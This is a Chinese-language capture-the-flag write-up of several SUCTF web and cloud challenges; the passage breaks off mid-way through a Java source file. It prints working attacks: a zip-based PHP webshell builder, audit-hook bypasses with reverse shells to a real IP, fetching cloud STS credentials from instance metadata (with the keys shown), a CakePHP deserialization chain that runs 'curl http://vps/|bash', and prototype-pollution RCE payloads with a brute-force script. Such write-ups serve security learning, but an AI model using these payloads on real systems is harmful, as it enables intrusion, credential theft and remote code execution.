前言 终于考完了,回重庆和高中同学玩了几天。。。
回家后打了两天游戏,发现一直打也不好玩,就复现复现前几天随便看看的XCTF,很多题感觉还是挺有意思的,就当一种复健了。
SU_photogallery 扫描可以扫到robots.txt和node.md,也就是环境里的字:
1 2 3 4 5 6 7 书鱼哥哥交给我个任务,让我写一个su的图库来存放战队的美好回忆,我需要测试我开发的代码,于是我在服务器上测试,但是我测试的时候并不想大费周章改变我原本配置的环境。1 :可以提交一张图片(Working)2 :通过提交压缩包来批量提交图片3 ...
随便输url,发现404是php -S临时开启的服务。
这里打的是PHP<=7.4.21 Development Server源码泄露漏洞
PHP<=7.4.21 Development Server源码泄露漏洞-腾讯云开发者社区-腾讯云
前端可以看到unzip.php的文件名,那我们可以通过
泄露出unzip.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 <?php error_reporting (0 );function get_extension ($filename ) { return pathinfo ($filename , PATHINFO_EXTENSION); }function check_extension ($filename ,$path ) { $filePath = $path . DIRECTORY_SEPARATOR . $filename ; if (is_file ($filePath )) { $extension = strtolower (get_extension ($filename )); if (!in_array ($extension , ['jpg' , 'jpeg' , 'png' , 'gif' ])) { if (!unlink ($filePath )) { return false ; } else { return false ; } } else { return true ; } }else { return false ; } }function file_rename ($path ,$file ) { $randomName = md5 (uniqid ().rand (0 , 99999 )) . '.' . get_extension ($file ); $oldPath = $path . DIRECTORY_SEPARATOR . $file ; $newPath = $path . DIRECTORY_SEPARATOR . $randomName ; if (!rename ($oldPath , $newPath )) { unlink ($path . DIRECTORY_SEPARATOR . $file ); return false ; } else { return true ; } }function move_file ($path ,$basePath ) { foreach (glob ($path . DIRECTORY_SEPARATOR . '*' ) as $file ) { $destination = $basePath . DIRECTORY_SEPARATOR . basename ($file ); if (!rename ($file , $destination )){ return false ; } } return true ; }function check_base ($fileContent ) { $keywords = ['eval' , 'base64' , 'shell_exec' , 'system' , 'passthru' , 'assert' , 'flag' , 'exec' , 'phar' , 'xml' , 'DOCTYPE' , 'iconv' , 'zip' , 'file' , 'chr' , 'hex2bin' , 'dir' , 'function' , 'pcntl_exec' , 'array' , 'include' , 'require' , 'call_user_func' , 'getallheaders' , 'get_defined_vars' ,'info' ]; $base64_keywords = []; foreach ($keywords as $keyword ) { $base64_keywords [] = base64_encode ($keyword ); } foreach ($base64_keywords as $base64_keyword ) { if (strpos ($fileContent , $base64_keyword )!== false ) { return true ; } else { return false ; } } }function check_content ($zip ) { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; echo "Checking file: $fileName \n" ; $fileContent = $zip ->getFromName ($fileName ); if (preg_match ('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i' , $fileContent ) || check_base ($fileContent )) { return false ; } else { continue ; } } return true ; }function unzip ($zipname , $basePath ) { $zip = new ZipArchive ; if (!file_exists ($zipname )) { return "zip_not_found" ; } if (!$zip ->open ($zipname )) { return "zip_open_failed" ; } if (!check_content ($zip )) { return "malicious_content_detected" ; } $randomDir = 'tmp_' .md5 (uniqid ().rand (0 , 99999 )); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir ; if (!mkdir ($path , 0777 , true )) { $zip ->close (); return "mkdir_failed" ; } if (!$zip ->extractTo ($path )) { $zip ->close (); } for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (!check_extension ($fileName , $path )) { continue ; } if (!file_rename ($path , $fileName )) { continue ; } } if (!move_file ($path , $basePath )) { $zip ->close (); return "move_failed" ; } rmdir ($path ); $zip ->close (); return true ; }$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/' ;if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0777 , true ); }if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES ['file' ]; $zipname = $uploadedFile ['tmp_name' ]; $path = $uploadDir ; $result = unzip ($zipname , $path ); if ($result === true ) { header ("Location: index.php?status=success" ); exit (); } else { header ("Location: index.php?status=$result " ); exit (); } } else { header ("Location: index.php?status=file_error" ); exit (); }
这里可以得到文件上传的路径是:upload/suimages/
这里的非预期就是你访问可以找到其他人写的马,然后用开头那个一样的方法就可以访问🐎的参数是啥,蹭车就完事了。。。
真正绕这个blacklist的手段,后续队里也有人做出来了,但是蹭车提前交了就交了吧hh
官方给的wp说是在上传的时候就解压压缩包了,可以直接利用解压报错:
回忆phpcms头像上传漏洞以及后续影响 | 离别歌
以及:twe1v3.top/2022/10/CTF中zip文件的使用/#利用姿势onezip报错解压
那么可以通过拼接绕过黑名单:
1 2 3 4 5 6 7 8 9 10 import zipfileimport io mf = io.BytesIO()with zipfile.ZipFile(mf, mode="w" , compression=zipfile.ZIP_STORED) as zf: zf.writestr('fff.php' , b'''@<?php $a = "sy"."s"."tem"; $a("ls / ");?>''' ) zf.writestr('A' *5000 , b'AAAAA' )with open ("shell.zip" , "wb" ) as f: f.write(mf.getvalue())
1 SUCTF{sti1l_w0t3r_Run_d@@p!!!}
SU_easyk8s_on_aliyun 开局一个pyjail,RCE很简单。当时我给R了入口机有事就先润了。。。
网上一搜就能搜到能用的,直接绕audit hook:
CTF Pyjail 沙箱逃逸绕过合集 - 先知社区
1 2 3 4 import osimport _posixsubprocess _posixsubprocess.fork_exec([b"/bin/ls" ,"/" ], [b"/bin/ls" ], True , (), None , None , -1 , -1 , -1 , -1 , -1 , -1 , *(os.pipe()), False , False ,False , None , None , None , -1 , None , False )
可以直接读文件了:
audit.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import sys DEBUG = False def audit_hook (event, args ): audit_functions = { "os.system" : {"ban" : True }, "subprocess.Popen" : {"ban" : True }, "subprocess.run" : {"ban" : True }, "subprocess.call" : {"ban" : True }, "subprocess.check_call" : {"ban" : True }, "subprocess.check_output" : {"ban" : True }, "_posixsubprocess.fork_exec" : {"ban" : True }, "os.spawn" : {"ban" : True }, "os.spawnlp" : {"ban" : True }, "os.spawnv" : {"ban" : True }, "os.spawnve" : {"ban" : True }, "os.exec" : {"ban" : True }, "os.execve" : {"ban" : True }, "os.execvp" : {"ban" : True }, "os.execvpe" : {"ban" : True }, "os.fork" : {"ban" : True }, "shutil.run" : {"ban" : True }, "ctypes.dlsym" : {"ban" : True }, "ctypes.dlopen" : {"ban" : True } } if event in audit_functions: if DEBUG: print (f"[DEBUG] found event {event} " ) policy = audit_functions[event] if policy["ban" ]: strr = f"AUDIT BAN : Banning FUNC:[{event} ] with ARGS: {args} " print (strr) raise PermissionError(f"[AUDIT BANNED]{event} is not allowed." ) else : strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event} ] with ARGS: {args} " print (strr) return sys.addaudithook(audit_hook)
这里可以用wget下载bash文件然后弹shell。
也可以直接弹,但是要用base64不然弹不了:
1 2 3 4 5 6 7 import socket, os, _posixsubprocess; s = socket.socket(); s.connect(("xxxx" ,9999 )); [os.dup2(s.fileno(),fd) for fd in (0 ,1 ,2 )]; _posixsubprocess.fork_exec([b"/bin/bash" , "-c" , b"echo b64-payload | base64 -d | bash -i" ], [b"/bin/bash" ], True , (), None , None , -1 , -1 , -1 , -1 , -1 , -1 , *(os.pipe()), False , False , False , None , None , None , -1 , None , False )
或者:
1 2 3 4 5 6 7 8 9 10 __import__ ('_posixsubprocess' ).fork_exec( [b"/bin/bash" , b"-c" , b"bash -i >& /dev/tcp/43.156.25.198/1232 0>&1" ], [b"/bin/bash" ], True , (), None , None , -1 , -1 , -1 , -1 , -1 , -1 , *(__import__ ('os' ).pipe()), False , False , False , None , None , None , -1 , None , False )
题目名提示了也在aliyun
上,可以去找aliyun
的元数据在哪里。
接下来是云安全的内容了。
云上攻防:实例元数据、控制台接管-阿里云开发者社区
云安全-云原生基于容器漏洞的逃逸自动化手法(CDK check)_cve-2020-27151-CSDN博客
下载cdk_linux_amd64
后进行信息检索
1 2 wget <https://github.com/cdk-team/CDK/releases/download/v1.5.4/cdk_linux_amd64> ./cdk_linux_amd64 evaluate
可以从得到的信息里面看见
接下来需要获取类似下面的信息:
通过元数据服务从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心
直接在这个机器上获取sts
,即AK/SK相关信息:
1 2 3 4 5 6 7 8 9 10 11 12 curl -H "X-aliyun-ecs-metadata-token: $TOKEN " http://100.100.100.200/latest/meta-data/ram/security-credentials/oss-root % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 893 100 893 0 0 28858 0 --:--:-- --:--:-- --:--:-- 29766 { "AccessKeyId" : "STS.NSy4dsFrQgg9T1Sn86HEpSfGm" , "AccessKeySecret" : "9ogWdxi5Qff2Fna38xknBakmgdjQfdo5JgNWuSTMQKUt" , "Expiration" : "2025-01-13T15:30:13Z" , "SecurityToken" : "CAIS1AJ1q6Ft5B2yfSjIr5DMf97Hq61w0KXSVhfiijhjRMpcvKPsjzz2IHhMdHRqBe0ctvQ+lG5W6/4YloltTtpfTEmBc5I179Fd6VqqZNTZqcy74qwHmYS1RXadFEZ2VAI4zb+rIunGc9KBNnrm9EYqs5aYGBymW1u6S+7r7bdsctUQWCShcDNCH604DwB+qcgcRxCzXLTXRXyMuGfLC1dysQdRkH527b/FoveR8R3Dllb3uIR3zsbTWsH6MZc1Z8wkDovsjbArKvL7vXQOu0QQxsBfl7dZ/DrLhNaZDmRK7g+OW+iuqYU3fFIjOvVgQ/4V/KaiyKUioIzUjJ+y0RFKIfHnm/ES9DUVqiGtOpRKVr5RHd6TUxxGwgIOoQY+nSmQwGPJReJb+udQu7JKc2gIYBv0ZNFJ1n7EnGlNRYbLXu/Ir1QXq3esyb6gQz4rK4KNHstGUvdUGoABAn1BUz7d7A/upOPE4w5ha3QAIyrqx7EgAlz/SWDlebYSWq5znabX0kKWtpuV6+oyJj01bbVoAV35NSu3P9Snk1Gu7e7fUmuWow+PKQed8YjGF9EQWdanrh6ynUSbzpbltvdPGhG7+HRVOsT7OjQz6gJplt44R5e4cXOlXNhayTAgAA==" , "LastUpdated" : "2025-01-13T09:30:13Z" , "Code" : "Success" }
可以直接连oss browser,但是桶里没东西,估计删了。
然后导入aliyuncli
恢复历史版本,就找到flag了:
1 2 3 4 ./aliyun.exe configure --mode StsToken //输入对应的ak/sk,region是cn-hangzhou ./aliyun.exe oss ls //列出已有资源 ./aliyun.exe oss ls oss://suctf-flag-bucket/oss-flag --all-versions //列出所有版本 ./aliyun.exe oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- //读取文件
SU_easyk8s 入口机打法同上,但是后面题目下线了,看看官方给的wp吧:
Python Audit Hook RCE 1 2 3 4 5 6 7 8 9 10 DEBUG=True import os,sys op = print def print (*args ): t = sys._getframe(1 ).f_locals['audit_functions' ] t["os.system" ]['ban' ]= False op(t) return op(*args) os.system("ls" )
当然这里也可以 _posixprocess.fork_exec 进行绕过
Kubernetes 信息泄漏 https://gh-proxy.com/github.com/Esonhugh/k8spider/releases/download/v2.6.0-metric/k8spider_v2.6.0-metric_linux_amd64.tar.gz
下载新版本 k8spider 对付他,先枚举服务,直接枚举就失败, -vv 看报错可以知道,只有前几个 dns 请求正常处理了,后几个请求 全部 io timeout
然而 dns 服务始终是正常的,所以可以猜测是 dns 服务被某些东西限制了。尝试缩小集群 server cidr 并且循环跑。
1 2 3 4 5 6 7 8 for i in $(seq 1 254); do ./k8spider all -c 10.43.$i .1/24 -i 20000 >> res ;done cat res {"Ip" :"10.43.8.117" ,"SvcDomain" :"suctf-svc.default.svc.cluster.local." ,"SrvRecords" :[{"Cname" :"suctf-svc.default.svc.cluster.local." ,"Srv" :[{"Target" :"suctf-svc.default.svc.cluster.local." ,"Port" :5000,"Priority" :0,"Weight" :100}]}]} {"Ip" :"10.43.109.180" ,"SvcDomain" :"metrics-server.kube-system.svc.cluster.local." ,"SrvRecords" :[{"Cname" :"metrics-server.kube-system.svc.cluster.local." ,"Srv" :[{"Target" :"metrics-server.kube-system.svc.cluster.local." ,"Port" :443,"Priority" :0,"Weight" :100}]}]} {"Ip" :"10.43.116.179" ,"SvcDomain" :"kube-state-metrics.lens-metrics.svc.cluster.local." ,"SrvRecords" :[{"Cname" :"kube-state-metrics.lens-metrics.svc.cluster.local." ,"Srv" :[{"Target" :"kube-state-metrics.lens-metrics.svc.cluster.local." ,"Port" :8080,"Priority" :0,"Weight" :100}]}]} {"Ip" :"10.43.140.10" ,"SvcDomain" :"nginx-ingress-controller.ingress-nginx.svc.cluster.local." ,"SrvRecords" :[{"Cname" :"nginx-ingress-controller.ingress-nginx.svc.cluster.local." ,"Srv" :[{"Target" :"nginx-ingress-controller.ingress-nginx.svc.cluster.local." ,"Port" :80,"Priority" :0,"Weight" :50},{"Target" :"nginx-ingress-controller.ingress-nginx.svc.cluster.local." ,"Port" :443,"Priority" :0,"Weight" :50}]}]} {"Ip" :"10.43.225.93" ,"SvcDomain" :"istiod.istio-system.svc.cluster.local." ,"SrvRecords" :[{"Cname" :"istiod.istio-system.svc.cluster.local." ,"Srv" :[{"Target" :"istiod.istio-system.svc.cluster.local." ,"Port" :15012,"Priority" :0,"Weight" :25},{"Target" :"istiod.istio-system.svc.cluster.local." ,"Port" :15010,"Priority" :0,"Weight" :25},{"Target" :"istiod.istio-system.svc.cluster.local." ,"Port" :15014,"Priority" :0,"Weight" :25},{"Target" :"istiod.istio-system.svc.cluster.local." ,"Port" :443,"Priority" :0,"Weight" :25}]}]}
有 server 也有服务 port
关注 kube-state-metrics.lens-metrics.svc.cluster.local
这是个 metrics 服务,容器中有 curl,下载对应的 metrics 文本为文件
kube-state-metrics.lens-metrics.svc.cluster.local:8080/metrics
现在的 k8spider 可以帮助你分析这类 metrics 中的敏感信息,使得你可以极大可能把握集群整体状态。
集群 NFS PV 在 metrics 信息中存在,敏感信息 nfs pv 配置。
发现这个 nfs 后利用的套路 k8slanparty 一模一样
1 kube_persistentvolume_info{persistentvolume="nfs-pv" ,storageclass="nfs-client" ,gce_persistent_disk_name="" ,ebs_volume_id="" ,azure_disk_name="" ,fc_wwids="" ,fc_lun="" ,fc_target_wwns="" ,iscsi_target_portal="" ,iscsi_iqn="" ,iscsi_lun="" ,iscsi_initiator_name="" ,nfs_server="0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com" ,nfs_path="/nfs-root/" ,csi_driver="" ,csi_volume_handle="" ,local_path="" ,local_fs="" ,host_path="" ,host_path_type="" } 1
nfs 服务器为 0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com,nfs 路径为 /nfs-root/
通过 socks5 代理后,尝试使用 nfs-cat 和 nfs-ls 进行访问
即可得到 flag 在 nfs / 目录中
1 2 nfs-ls nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/?uid=0 nfs-cat nfs://0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com/flag.txt?uid=0
或者上传一个 nfs client
例如 https://github.com/mubix/nfsclient/tree/main
但是他有点小 bug 没办法下载文件 需要修改为 https://github.com/mubix/nfsclient/blob/dadb0bf6caa10f02a617abf65c972e36389810cd/nfsclient.go#L121 为
1 f, err := os.OpenFile(filename, os.O_CREATE|os.O_WRONLY, 0777)
这样就不会有问题了
1 2 3 4 5 6 7 8 9 10 11 12 nfsc 0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com:/ root:0:0 ls +----------+-----+-----+----------+------+ | FILENAME | UID | GID | MODE | SIZE | +----------+-----+-----+----------+------+ | . | 0 | 0 | 0x543c60 | 4096 | | .. | 0 | 0 | 0x543c60 | 4096 | | flag.txt | 0 | 0 | 0x543c60 | 74 | | nfs-root | 0 | 0 | 0x543c60 | 4096 | +----------+-----+-----+----------+------+ nfsc 0c09048b03-got17.cn-hangzhou.nas.aliyuncs.com:/ root:0:0 down flag.txt cat flag.txt
SU_POP 简单找pop链的审计题。
GitHub - cakephp/cakephp: CakePHP: The Rapid Development Framework for PHP - Official Repository
1 2 3 4 5 React\Promise\Internal\RejectedPromise ::__destruct () -->Cake\Http\Response ::__toString () -->Cake\ORM\Table ::__call () -->Cake\ORM\BehaviorRegistry ::call () -->PHPUnit\Framework\MockObject\Generator\MockClass ::generate ()
赵哥打的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php namespace React \Promise \Internal { class RejectedPromise { private $handled = false ; private $reason ; function __construct ( ) { $this ->handled=false ; $this ->reason = new \Cake\Http\Response (); } } }namespace Cake \Http { class Response { private $stream ; public function __construct ( ) { $this ->stream = new \Cake \ORM\Table (); } } }namespace PHPUnit \Framework \MockObject \Generator { class MockClass { private readonly string $mockName ; private readonly string $classCode ; public function __construct ( ) { $this ->mockName = "zbr" ; $this ->classCode = "system(\"curl http://vps/|bash\");" ; } } }namespace Cake \ORM { class BehaviorRegistry { protected array $_methodMap ; protected array $_loaded ; public function __construct ( ) { $this ->_loaded=["zbr" =>new \PHPUnit\Framework\MockObject\Generator\MockClass ()]; $this ->_methodMap = ["rewind" => ["zbr" ,"generate" ]]; } } Class Table { protected BehaviorRegistry $_behaviors ; public function __construct ( ) { $this ->_behaviors= new BehaviorRegistry (); } } }namespace GadgetChain { $a =new \React \Promise \Internal \RejectedPromise (); $str = serialize ($a ); echo $str ; echo "\n" ; echo urlencode (base64_encode ($str )); }
call参考这篇文章$this->_behaviors
会调用转发到BehaviorRegistry::call()
,控制_methodMap
将rewind
映射到 MockClass .
最后利用generate
写:
https://xz.aliyun.com/t/9995?time__1311=n4%2BxnD0DuDRDcGiGCDyDBqOoWP0K5PDt1QYQhOe4D#toc-7
弹shell后有个suid提权,find交了。
SU_Blog 可参考idekctf 2022* task manager wp - kdxcxs
register接口可以任意密码重置,直接重置admin的密码登陆越权登录。
然后在article接口看到一个疑似任意文件读取的东西,且必须要用articles开头,并且直接传../没用。
结果双写绕过了。。。
可以读到waf.py和app.py,需要注意的是waf把waf.py给waf了,所以也要双写一下利用这个../来读。
app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 from flask import *import time,os,json,hashlibfrom pydash import set_from waf import pwaf,cwaf app = Flask(__name__) app.config['SECRET_KEY' ] = hashlib.md5(str (int (time.time())).encode()).hexdigest() users = {"testuser" : "password" } BASE_DIR = '/var/www/html/myblog/app' articles = { 1 : "articles/article1.txt" , 2 : "articles/article2.txt" , 3 : "articles/article3.txt" } friend_links = [ {"name" : "bkf1sh" , "url" : "https://ctf.org.cn/" }, {"name" : "fushuling" , "url" : "https://fushuling.com/" }, {"name" : "yulate" , "url" : "https://www.yulate.com/" }, {"name" : "zimablue" , "url" : "https://www.zimablue.life/" }, {"name" : "baozongwi" , "url" : "https://baozongwi.xyz/" }, ]class User (): def __init__ (self ): pass user_data = User()@app.route('/' ) def index (): if 'username' in session: return render_template('blog.html' , articles=articles, friend_links=friend_links) return redirect(url_for('login' ))@app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username in users and users[username] == password: session['username' ] = username return redirect(url_for('index' )) else : return "Invalid credentials" , 403 return render_template('login.html' )@app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] users[username] = password return redirect(url_for('login' )) return render_template('register.html' )@app.route('/change_password' , methods=['GET' , 'POST' ] ) def change_password (): if 'username' not in session: return redirect(url_for('login' )) if request.method == 'POST' : old_password = request.form['old_password' ] new_password = request.form['new_password' ] confirm_password = request.form['confirm_password' ] if users[session['username' ]] != old_password: flash("Old password is incorrect" , "error" ) elif new_password != confirm_password: flash("New passwords do not match" , "error" ) else : users[session['username' ]] = new_password flash("Password changed successfully" , "success" ) return redirect(url_for('index' )) return render_template('change_password.html' )@app.route('/friendlinks' ) def friendlinks (): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) return render_template('friendlinks.html' , links=friend_links)@app.route('/add_friendlink' , methods=['POST' ] ) def add_friendlink (): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) name = request.form.get('name' ) url = request.form.get('url' ) if name and url: friend_links.append({"name" : name, "url" : url}) return redirect(url_for('friendlinks' ))@app.route('/delete_friendlink/<int:index>' ) def delete_friendlink (index ): if 'username' not in session or session['username' ] != 'admin' : return redirect(url_for('login' )) if 0 <= index < len (friend_links): del friend_links[index] return redirect(url_for('friendlinks' ))@app.route('/article' ) def article (): if 'username' not in session: return redirect(url_for('login' )) file_name = request.args.get('file' , '' ) if not file_name: return render_template('article.html' , file_name='' , content="未提供文件名。" ) blacklist = ["waf.py" ] if any (blacklisted_file in file_name for blacklisted_file in blacklist): return render_template('article.html' , file_name=file_name, content="大黑阔不许看" ) if not file_name.startswith('articles/' ): return render_template('article.html' , file_name=file_name, content="无效的文件路径。" ) if file_name not in articles.values(): if session.get('username' ) != 'admin' : return render_template('article.html' , file_name=file_name, content="无权访问该文件。" ) file_path = os.path.join(BASE_DIR, file_name) file_path = file_path.replace('../' , '' ) try : with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() except FileNotFoundError: content = "文件未找到。" except Exception as e: app.logger.error(f"Error reading file {file_path} : {e} " ) content = "读取文件时发生错误。" return render_template('article.html' , file_name=file_name, content=content)@app.route('/Admin' , methods=['GET' , 'POST' ] ) def admin (): if request.args.get('pass' )!="SUers" : return "nonono" if request.method == 'POST' : try : body = request.json if not body: flash("No JSON data received" , "error" ) return jsonify({"message" : "No JSON data received" }), 400 key = body.get('key' ) value = body.get('value' ) if key is None or value is None : flash("Missing required keys: 'key' or 'value'" , "error" ) return jsonify({"message" : "Missing required keys: 'key' or 'value'" }), 400 if not pwaf(key): flash("Invalid key format" , "error" ) return jsonify({"message" : "Invalid key format" }), 400 if not cwaf(value): flash("Invalid value format" , "error" ) return jsonify({"message" : "Invalid value format" }), 400 set_(user_data, key, value) flash("User data updated successfully" , "success" ) return jsonify({"message" : "User data updated successfully" }), 200 except json.JSONDecodeError: flash("Invalid JSON data" , "error" ) return jsonify({"message" : "Invalid JSON data" }), 400 except Exception as e: flash(f"An error occurred: {str (e)} " , "error" ) return jsonify({"message" : f"An error occurred: {str (e)} " }), 500 return render_template('admin.html' , user_data=user_data)@app.route('/logout' ) def logout (): session.pop('username' , None ) flash("You have been logged out." , "info" ) return redirect(url_for('login' ))if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=10006 )
waf.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 key_blacklist = [ '__file__' , 'app' , 'router' , 'name_index' , 'directory_handler' , 'directory_view' , 'os' , 'path' , 'pardir' , '_static_folder' , '__loader__' , '0' , '1' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ] value_blacklist = [ 'ls' , 'dir' , 'nl' , 'nc' , 'cat' , 'tail' , 'more' , 'flag' , 'cut' , 'awk' , 'strings' , 'od' , 'ping' , 'sort' , 'ch' , 'zip' , 'mod' , 'sl' , 'find' , 'sed' , 'cp' , 'mv' , 'ty' , 'grep' , 'fd' , 'df' , 'sudo' , 'more' , 'cc' , 'tac' , 'less' , 'head' , '{' , '}' , 'tar' , 'zip' , 'gcc' , 'uniq' , 'vi' , 'vim' , 'file' , 'xxd' , 'base64' , 'date' , 'env' , '?' , 'wget' , '"' , 'id' , 'whoami' , 'readflag' ] key_blacklist_bytes = [word.encode() for word in key_blacklist] value_blacklist_bytes = [word.encode() for word in value_blacklist]def check_blacklist (data, blacklist ): for item in blacklist: if item in data: return False return True def pwaf (key ): key_bytes = key.encode() if not check_blacklist(key_bytes, key_blacklist_bytes): print (f"Key contains blacklisted words." ) return False return True def cwaf (value ): if len (value) > 77 : print ("Value exceeds 77 characters." ) return False value_bytes = value.encode() if not check_blacklist(value_bytes, value_blacklist_bytes): print (f"Value contains blacklisted words." ) return False return True
读源码后发现/Admin下可以打原型链污染,这里可以直接污染jinja2模版编译时用的一个参数来R。
本来开始想试试污染key_blacklist然后为所欲为的:
1 2 { "key" : "__class__.__init__.__globals__.pwaf.__globals__.key_blacklist_bytes" , "value" : "" }
但其实不用,直接R就完了:
1 { "key" : "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0" , "value" : "*;import os;os.system('/readflag >/tmp/sbflag.txt')" }
然后访问一下
1 http://27.25 .151 .48 :10004 /article?file=articles/..././..././..././..././..././..././tmp/sbflag.txt
然后渲染的时候就会把*;import os;os.system('/readflag >/tmp/sbflag.txt')
拼上去,然后再任意文件读就完事了。
(因为模版只在第一次访问时编译,所以需要卡容器重启时的第一次访问,这个有点坑需要手气)
也可以借鉴一下Syclover
战队写的brute多线程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport multiprocessing js = { "key" : "__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2" , "value" : "*;import os;os.system('/read\\x66lag > /tmp/f')" }def brute (url ): while True : try : res = requests.post(url + "/Admin?pass=SUers" , json=js) print (url + ":" + res.text) requests.get(url + "/Admin?pass=SUers" ) requests.get(url + "/" ) requests.get(url + "/login" ) requests.get(url + "/register" ) except Exception as e: print (e)if __name__ == '__main__' : urls=["http://27.25.151.48:10000" , "http://27.25.151.48:10001" , "http://27.25.151.48:10002" , "http://27.25.151.48:10003" , "http://27.25.151.48:10004" , "http://27.25.151.48:10005" ] for url in urls: p = multiprocessing.Process(target=brute, args=(url,)) p.start()
1 SUCTF{fl4sk_1s_5imp1e_bu7_pyd45h_1s_n0t_s0_I_l0v3}
SU_ezjava 开始做java了。
1 2 3 网上泄露了一个危险的接口,但是不太聪明的程序员设计了防护去保护它,你能绕过吗。顺带一提,给出的源码存在混淆 A dangerous interface has been leaked online, but not very smart programmers have designed protection to protect it . Can you bypass it .By the way, there is confusion in the provided source code 环境: (mysql-connector-8.0 .28 ) 1.95 .157 .235 :10011 本题不需要扫描、爆破等操作
要用jadx才能正确打开那个class文件,因为有混淆。
SecurityChecker.class
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 package com.pho3n1x.sujava.security;import java.io.UnsupportedEncodingException;import java.net.URLDecoder;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import java.util.stream.Collectors;import org.apache.commons.lang3.StringUtils;public class SecurityChecker { public static final String f0x2356168a = null ; private static final String AND_SYMBOL = "&" ; private static final String EQUAL_SIGN = "=" ; private static final String COMMA = "," ; private static final String BLACKLIST_REGEX = "autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath" ; public static String MYSQL_SECURITY_CHECK_ENABLE = "true" ; public static String MYSQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s" ; public static String JDBC_MYSQL_PROTOCOL = "jdbc:mysql" ; public static String JDBC_MATCH_REGEX = "(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?" ; public static String MYSQL_SENSITIVE_PARAMS = 